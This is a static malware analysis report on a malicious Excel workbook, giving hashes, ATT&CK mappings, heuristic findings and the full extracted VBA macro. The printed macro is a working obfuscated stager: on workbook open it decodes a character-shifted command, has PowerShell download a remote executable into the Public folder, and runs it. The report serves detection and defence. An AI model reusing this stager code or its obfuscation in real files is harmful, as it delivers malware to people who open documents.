Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 429a41ae7074ca1e…

MALICIOUS

Office (OOXML)

88.3 KB Created: 2020-05-12 19:17:25 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: 61359871aa0a263d92ba163978b1a54e SHA-1: 15d8252f9bb05975a1315d87652043c99d9a064f SHA-256: 429a41ae7074ca1e7f507e35ad3f6c448a5f8e3040d95c24bf4277c878d1d4f3
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that decodes and executes a command using the Shell function. This command appears to construct a path in the user's Public directory and then executes a second, similarly constructed, executable file. The macro also includes a delay and then executes another shell command, likely to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1514 bytes
SHA-256: c5d12405797c6298c9298e0e0014275163392b71ca9b85d10ce06316275fa6f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim asdsa As String
Public Sub Workbook_Open()
asdsa = Environ(dd("u†Ž‘")) + "\" + dd("gŠ�†�‚Ž†O†™†")
adsa
End Sub
Private Sub adsa()
Shell (dd("‘�˜†“”‰†��O†™†AN†™†„–•Š��‘��Š„šAƒš‘‚””ANxAiŠ……†�AN„�ŽŽ‚�…AI�†˜N�ƒ‹†„•Atš”•†ŽOo†•Ox†ƒd�Š†�•JOe�˜���‚…gŠ�†IH‰••‘[PPTXOVZOZQOZQP�†�”��P“†„†Š‘•O†™†HME†�—[u†Ž‘LH}gŠ�†�‚Ž†O†™†HJ"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
Shell (asdsa)
End Sub
   Public Function dd(cc As String)
        Dim dsd As Integer, cca As Integer
        dsd = 33
        For cca = 1 To Len(cc)
            Mid(cc, cca, 1) = Chr(Asc(Mid(cc, cca, 1)) - dsd)
        Next cca
        dd = cc
    End Function
      

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15872 bytes
SHA-256: 91b518400553481adde9c937d08d1d9683a12a8f74b74c57cb563cfb5df2cff3

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